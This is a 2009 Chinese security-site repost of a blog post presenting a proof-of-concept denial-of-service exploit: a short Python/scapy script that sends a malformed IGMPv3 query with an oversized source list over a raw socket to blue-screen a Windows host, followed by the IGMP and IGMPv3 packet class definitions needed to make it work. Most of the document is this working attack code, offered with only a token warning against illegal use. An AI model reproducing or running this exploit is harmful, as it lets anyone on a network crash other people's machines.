TCPIP协议栈IGMP堆栈溢出本地拒绝服务安全
来源:岁月联盟
时间:2009-08-20
终于成功了,最近在做些Packet Hacking的研究,对以后的工作很有帮助,所以在学习scapy,一个非常强大的构造包的工具,强烈推荐给大家:)
下面就是用这个scapy写的IGMP local stack buffer overflow的POC:),非常简单的就实现了。
大家可以自已演示一下,可以把自已打蓝屏,哈哈。
# The IGMP Protocol Local D.O.S Poc
# Authored by Vessial 2009-7-27
# Contact Me: vessial@hotmail.com
#Don’t used it for illegal things.
from scapy import *
a=IP(dst=’192.168.72.2’,src=’ 192.168.72.130’,ttl=128,id=0,options=’/xff/xff/xff/xff’)
b=IGMPv3(type=0x11,mrcode=5,numsrc=100,gaddr=’0.0.0.0’)
for i in range(1000):
b.srcaddrs.append(’192.168.72.2’)
c=a/b
s=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_RAW)
s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)
s.sendto(str(c),(a.dst,0))
就这么几行就蓝屏,强大吧:),注意必须是Raw socket,不然是不能成功的。
注意默认情况下的scapy里面是没有IGMP包的构造过程的,你得手动添加如下的
IGMP包结构定义和方法到scapy里面去.
##
##IGMP Protocol
##
igmptypes = { 0x11 : "Group Membership Query",
0x12 : "Version 1 - Membership Report",
0x16 : "Version 2 - Membership Report",
0x17 : "Leave Group"}
class IGMP(Packet):
"""IGMP Message Class for v1 and v2.
This class is derived from class Packet. You may need to "sanitize" the IP
and Ethernet headers before a full packet is sent.
"""
name = "IGMP"
fields_desc = [ ByteEnumField("type", 0x11, igmptypes),
ByteField("mrtime",0),
XShortField("chksum", None),
IPField("gaddr", "0.0.0.0")]
#----------------------------- -------------------------------------------------
def post_build(self, p, pay):
"""Called implicitly before a packet is sent to compute and place IGMP checksum.
Parameters:
self The instantiation of an IGMP class
p The IGMP message in hex in network byte order
pay Additional payload for the IGMP message
"""
p += pay
if self.chksum is None:
ck = checksum(p)
p = p[:2]+chr(ck>>8)+chr(ck&0xff)+p[4:]
return p
#------------------------------------------------------------------------------
def mysummary(self):
"""Display a summary of the IGMP object."""
if isinstance(self.underlayer, IP):
return self.underlayer.sprintf("IGMP: %IP.src% > %IP.dst% %IGMP.type% %IGMP.gaddr%")
else:
return self.sprintf("IGMP %IGMP.type% %IGMP.gaddr%")
#------------------------------------------------------------------------------
def sanitize (self, ip=None, ether=None):
"""Called to explicitely fixup associated IP and Ethernet headers
Parameters:
self The instantiation of an IGMP class.
ip The instantiation of the associated IP class.
ether The instantiation of the associated Ethernet.
Returns:
True The tuple ether/ip/self passed all check and represents a proper
IGMP packet.
False One of more validation checks failed and no fields were adjusted.
The function will examine the IGMP message to assure proper format.
Corrections will be attempted if possible. The IP header is then properly
adjusted to ensure correct formatting and assignment. The Ethernet header
is then adjusted to the proper IGMP packet format.
"""
# The rules are:
# 1. the Max Response time is meaningful only in Membership Queries and should be zero
# otherwise (RFC 2236, section 2.2)
if (self.type != 0x11): #rule 1
self.mrtime = 0
if (self.adjust_ip(ip) == True):
if (self.adjust_ether(ip, ether) == True): return True
return False
#------------------------------------------------------------------------------
def adjust_ether (self, ip=None, ether=None):
"""Called to explicitely fixup an associated Ethernet header
Parameters:
self The instantiation of an IGMP class.
ip The instantiation of the associated IP class.
ether The instantiation of the associated Ethernet.
Returns:
True The tuple ether/ip/self passed all check and represents a proper
IGMP packet.
False One of more validation checks failed and no fields were adjusted.
The function adjusts the ethernet header destination MAC address based on
the destination IP address.
"""
# The rules are:
# 1. send the packet to the group mac address address corresponding to the IP
if ip != None and ip.haslayer(IP) and ether != None and ether.haslayer(Ether):
ipaddr = socket.ntohl(atol(ip.dst)) & 0x007FFFFF
macstr = "01:5e:00:%02x:%02x:%02x" %((ipaddr>>16)&0xFF, (ipaddr>>8)&0xFF, (ipaddr>>0)&0xFF)
ether.dst=macstr
return True
else:
return False
#------------------------------------------------------------------------------
def adjust_ip (self, ip=None):
"""Called to explicitely fixup an associated IP header
Parameters:
self The instantiation of an IGMP class.
ip The instantiation of the associated IP class.
Returns:
True The tuple ip/self passed all checks and represents a proper
IGMP packet.
False One of more validation checks failed and no fields were adjusted.
The function adjusts the IP header based on conformance rules and the group
address encoded in the IGMP message.
"""
# The rules are:
# 1. send the packet to the group address registering/reporting for
# a. for General Group Query, send packet to 224.0.0.1 (all systems)
# 2. send the packet with the router alert IP option (RFC 2236, section 2)
# 3. ttl = 1 (RFC 2236, section 2)
if ip != None and ip.haslayer(IP):
if (self.type == 0x11):
if (self.gaddr == "0.0.0.0"):
ip.dst = "224.0.0.1"
retCode = True
elif (atol(self.gaddr)&0xff >= 224) and (atol(self.gaddr)&0xff <= 239):
ip.dst = self.gaddr
retCode = True
else:
retCode = False
elif ((self.type == 0x12) or (self.type == 0x16) or (self.type == 0x17)) and /
(atol(self.gaddr)&0xff >= 224) and (atol(self.gaddr)&0xff <= 239):
ip.dst = self.gaddr
retCode = True
elif (self.type == 0x22):
ip.dst = "224.0.0.22"
retCode = True
elif (self.type == 0x30) or (self.type == 0x32):
ip.dst = "224.0.0.106"
retCode = True
elif (self.type == 0x31):
ip.dst = "224.0.0.2"
retCode = True
else:
retCode = False
else:
retCode = False
if retCode == True:
ip.options="/x94/x04/x00/x00" # set IP Router Alert option
return retCode
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
#
# See RFC3376, Section 4. Message Formats for definitions of proper IGMPv3 message format
# http://www.faqs.org/rfcs/rfc3376.html
#
# See RFC4286, For definitions of proper messages for Multicast Router Discovery.
# http://www.faqs.org/rfcs/rfc4286.html
#
igmpv3grtypes = { 1 : "Mode Is Include",
2 : "Mode Is Exclude",
3 : "Change To Include Mode",
4 : "Change To Exclude Mode",
5 : "Allow New Sources",
6 : "Block Old Sources"}
class IGMPv3gr(Packet):
"""IGMP Group Record for IGMPv3 Membership Report
This class is derived from class Packet and should be concatenated to an
instantiation of class IGMPv3. Within the IGMPv3 instantiation, the numgrp
element will need to be manipulated to indicate the proper number of
group records.
"""
name = "IGMPv3gr"
fields_desc = [ ByteEnumField("rtype", 1, igmpv3grtypes),
ByteField("auxdlen",0),
FieldLenField("numsrc", None, "srcaddrs"),
IPField("maddr", "0.0.0.0"),
FieldListField("srcaddrs", None, IPField("sa", "0.0.0.0"), "numsrc") ]
show_indent=0
#------------------------------------------------------------------------------
def post_build(self, p, pay):
"""Called implicitly before a packet is sent.
"""
p += pay
if self.auxdlen != 0:
print "NOTICE: A properly formatted and complaint V3 Group Record should have an Auxiliary Data length of zero (0)."
print " Subsequent Group Records are lost!"
return p
#------------------------------------------------------------------------------
def mysummary(self):
"""Display a summary of the IGMPv3 group record."""
return self.sprintf("IGMPv3 Group Record %IGMPv3gr.type% %IGMPv3gr.maddr%")
igmpv3types = { 0x11 : "Membership Query",
0x22 : "Version 3 Membership Report",
0x30 : "Multicast Router Advertisement",
0x31 : "Multicast Router Solicitation",
0x32 : "Multicast Router Termination"}
class IGMPv3(IGMP):
"""IGMP Message Class for v3.
This class is derived from class Packet.
The fields defined below are a
direct interpretation of the v3 Membership Query Message.
Fields ’type’ through ’qqic’ are directly assignable.
For ’numsrc’, do not assign a value.
Instead add to the ’srcaddrs’ list to auto-set ’numsrc’. To
assign values to ’srcaddrs’, use the following methods:
c = IGMPv3()
c.srcaddrs = [’1.2.3.4’, ’5.6.7.8’]
c.srcaddrs += [’192.168.10.24’]
At this point, ’c.numsrc’ is three (3)
’chksum’ is automagically calculated before the packet is sent.
’mrcode’ is also the Advertisement Interval field
"""
name = "IGMPv3"
fields_desc = [ ByteEnumField("type", 0x11, igmpv3types),
ByteField("mrcode",0), # use float_encode()
XShortField("chksum", None),
# if type = 0x11 (Membership Query), the next field is group address
ConditionalField(IPField("gaddr", "0.0.0.0"),lambda pkt:pkt.type==0x11),
# else if type = 0x22 (Membership Report), the next fields are
# reserved and number of group records
ConditionalField(ShortField("rsvd2", 0),lambda pkt:pkt.type==0x22),
ConditionalField(ShortField("numgrp", 0),lambda pkt:pkt.type==0x22),
# FieldLenField("numgrp", None, "grprecs")]
# else if type = 0x30 (Multicast Router Advertisement), the next fields are
# query interval and robustness
ConditionalField(ShortField("qryIntvl", 0),lambda pkt:pkt.type==0x30),
ConditionalField(ShortField("robust", 0),lambda pkt:pkt.type==0x30),
# The following are only present for membership queries
ConditionalField(BitField("resv", 0, 4),lambda pkt:pkt.type==0x11),
ConditionalField(BitField("s", 0, 1),lambda pkt:pkt.type==0x11),
ConditionalField(BitField("qrv", 0, 3),lambda pkt:pkt.type==0x11),
ConditionalField(ByteField("qqic",0),lambda pkt:pkt.type==0x11),
ConditionalField(FieldLenField("numsrc", None, "srcaddrs"),lambda pkt:pkt.type==0x11),
ConditionalField(FieldListField("srcaddrs", None, IPField("sa", "0.0.0.0"), "numsrc"),lambda pkt:pkt.type==0x11),
]
#------------------------------------------------------------------------------
def float_encode(self, value):
"""Convert the integer value to its IGMPv3 encoded time value if needed.
If value < 128, return the value specified. If >= 128, encode as a floating
point value. Value can be 0 - 31744.
"""
if value < 128:
code = value
elif value > 31743:
code = 255
else:
exp=0
value>>=3
while(value>31):
exp+=1
value>>=1
exp<<=4
code = 0x80 | exp | (value & 0x0F)
return code
#------------------------------------------------------------------------------
def post_build(self, p, pay):
"""Called implicitly before a packet is sent to compute and place IGMPv3 checksum.
Parameters:
self The instantiation of an IGMPv3 class
p The IGMPv3 message in hex in network byte order
pay Additional payload for the IGMPv3 message
"""
p += pay
if self.type in [0, 0x31, 0x32, 0x22]: # for these, field is reserved (0)
p = p[:1]+chr(0)+p[2:]
if self.chksum is None:
ck = checksum(p)
p = p[:2]+chr(ck>>8)+chr(ck&0xff)+p[4:]
return p
#------------------------------------------------------------------------------
def mysummary(self):
"""Display a summary of the IGMPv3 object."""
if isinstance(self.underlayer, IP):
return self.underlayer.sprintf("IGMPv3: %IP.src% > %IP.dst% %IGMPv3.type% %IGMPv3.gaddr%")
else:
return self.sprintf("IGMPv3 %IGMPv3.type% %IGMPv3.gaddr%")
# The rules are:
# 1. ttl = 1 (RFC 2236, section 2)
igmp_binds = [ (IP, IGMP, { "proto": 2 , "ttl": 1 }),
# 2. tos = 0xC0 (RFC 3376, section 4)
(IP, IGMPv3, { "proto": 2 , "ttl": 1, "tos":0xc0 }),
(IGMPv3, IGMPv3gr, { }) ]
下一篇:漏洞不断增加的同时修复却表现滞后